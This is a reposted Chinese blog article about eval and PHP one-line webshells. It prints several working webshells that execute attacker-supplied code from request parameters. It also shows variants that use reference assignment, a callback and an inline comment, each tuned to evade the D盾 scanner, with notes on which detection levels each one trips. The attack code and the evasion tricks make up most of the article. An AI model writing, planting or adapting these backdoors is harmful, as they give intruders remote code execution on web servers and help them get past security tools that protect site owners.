分享web开发知识

注册/登录|最近发布|今日推荐

主页 IT知识网页技术软件开发前端开发代码编程运营维护技术分享教程案例
当前位置:首页 > 技术分享

eval与php一句话的关系

发布时间:2023-09-06 02:00责任编辑:白小东关键词:暂无标签

part1

首先我们知道,eval能执行php代码,最常见的php一句话也是用eval关键字的。

<?php @eval($_GET["code"])?>

Part2

在T00ls论坛混的时候,有一个现象,如果有人分享免杀一句话,里面用了 eval 这个关键字,很多人就会如图

Part3

很多表哥都这样说,主要还是因为eval这个函数,在人们心中是个危险函数,基本WAF看见秒杀那种,可事实真的是这样嘛??!

Part4

- 必被秒杀的一句话

<?php$a= $_REQUEST[1];eval($a);

D盾 4级

- 我觉得还可以抢救的一句话

<?php$a = $_REQUEST[1];eval($b=&$a); // 将变量$a的值引用给$b,所以在这里$a和$b是相等的。

轻松过D盾,来个图

- 注释一句话

这个回调函数的一句话,报了1级,如何完全过D盾呢

最后附上代码

<?php$a=call_user_func(function($u){return @$_REQUEST[$u];},‘1‘);eval(/**/($a));

eval与php一句话的关系

原文地址:https://www.cnblogs.com/s0mf/p/9206764.html

知识推荐

我的编程学习网——分享web前端后端开发技术知识。 垃圾信息处理邮箱 tousu563@163.com 网站地图
icp备案号 闽ICP备2023006418号-8 不良信息举报平台 互联网安全管理备案 Copyright 2023 www.wodecom.cn All Rights Reserved